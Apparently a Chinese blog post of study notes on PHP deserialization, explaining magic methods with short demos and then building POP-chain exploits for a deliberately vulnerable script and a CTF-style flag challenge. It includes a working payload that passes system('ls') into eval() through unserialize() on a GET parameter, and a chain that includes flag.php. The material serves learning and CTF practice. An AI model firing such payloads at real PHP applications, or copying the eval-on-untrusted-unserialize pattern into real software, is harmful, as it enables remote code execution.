PHP反序列化学习笔记

什么是序列化(serialization)?

序列化是指将对象的状态属性转化为可存储传输的形式的过程。

序列化后的表达形式:

反序列化:

就是将字符串反序列化装换成对象。

转换后有以下特性:

1.反序列化的字符可以覆盖预定义对象的值。

2.反序列化不会触发方法。除非有魔术方法

魔术方法:

一个预定义的,在特定情况下自动触发的方法。

_constract();

构造函数,在实例化一个对象的时候会去自动执行的一个方法。

<?php
highlight_file(__FILE__);
class User {
    public $username;
    public function __construct($username) {
        $this->username = $username;
        echo "触发了构造函数1次" ;
    }
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);

?>

/*$test = new User("benben");在new一个对象时
触发了构造函数1次*/

_destruct();

当对象引用完成或者对象销毁的时候触发。

<?php
highlight_file(__FILE__);
class User {
    public function __destruct()
    {
        echo "触发了析构函数1次"."<br />" ;
    }
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);

?>
/*当 unserialize($ser);执行完成后触发第一次_destruct().
当程序执行完毕后销毁对象再次触发_destruct().
触发了析构函数1次
触发了析构函数1次*/

_sleep();

触发时机:在使用serialize()之前触发

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');
    }
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>
当serilaze调用触发__sleep()

_weackup():

触发时机:在使用unserialize()之后触发

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        $this->password = $this->username;
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
unserialize()之后触发魔术方法__wakeup()

_tostring():

触发时机:当对象被错误的调用为字符串时触发

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $benben = "this is test!!";
         public function __toString()
         {
             return '格式不对,输出不了!';
          }
}
$test = new User() ;
print_r($test);
echo "<br />";
echo $test;
?>
错误使用print_r输出对象,触发魔术方法__toString()

_invoke():

触发时机:把对象当做函数调用时触发        

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $benben = "this is test!!";
         public function __invoke()
         {
             echo  '它不是个函数!';
          }
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben;
?>
错误调用对象名字+()触发魔术方法__invoke()

_call():

触发时机:调用一个不存在的方法

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test -> callxxx('a');
?>
当调用对象中不存在的方法callxx('a')触发__call($arg1,$arg2)魔术方法

_callstatic():

触发时机:静态调用或者调用成员常量时使用的方法不存在

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public function __callStatic($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test::callxxx('a');
?>

当调用test下不存在的callxxx静态方法或者不存在的静态变量触发__callStatic($arg1,$arg2)魔术方法

_get():

触发时机:调用的成员属性不存在

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public $var1;
    public function __get($arg1)
    {
        echo  $arg1;
    }
}
$test = new User() ;
$test ->var2;
?>

_set():

触发时机:给不存在的成员属性赋值

_isset():

触发时机:对不可访问的属性使用isset()或者empty()

_unset():

触发时机:对不可访问的属性使用unset()

_clone():

触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用_clone()魔术方法

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    private $var;
    public function __clone( )
    {
        echo  "__clone test";
          }
}
$test = new User() ;
$newclass = clone($test)
?>

pop链前置基础

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2);
    }
}
unserialize($_GET['test']);
?>
  分析发现可利用的地方在eval($this->test2);
  反方向取寻找到:index->public function __destruct()魔术方法可能调用action
  分析发现可控参数test,可以传入反序列化对象覆盖index->test变量,让他的值是evil对象即可成功调用action
  反序列化覆盖index前,应该先把evil中的test2变量传入想要的值,然后反序列化覆盖原来空值

pyload:

<?php
class index {
    var $test;

}
class evil {
    var $test2;
}
$a=new evil();
$a->test2='system("ls");';
$b=new index();
$b->test=$a;
echo serialize($b);
?>
注意:
输出的值还不是最终结果,还需修改:
1:private属性的变量受保护,反序列化后为%00value%00,所以要修改长度和值
2:"system("ls")"还需要添加一个分号

最终pyload:?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("ls");";}}

POP链经典例题:

flag in flag.php
<?php
class Modifier {
    private $var="flag.php";
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}


构造pyload:
$test=new Test();
$modifier=new Modifier();
$show=new Show();
$test->p=$modifier;
$show->str=$test;
$show->source=$show;
echo serialize($show);
将显示的结果私有属性处改为%00object%00value,并修改长度即可

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值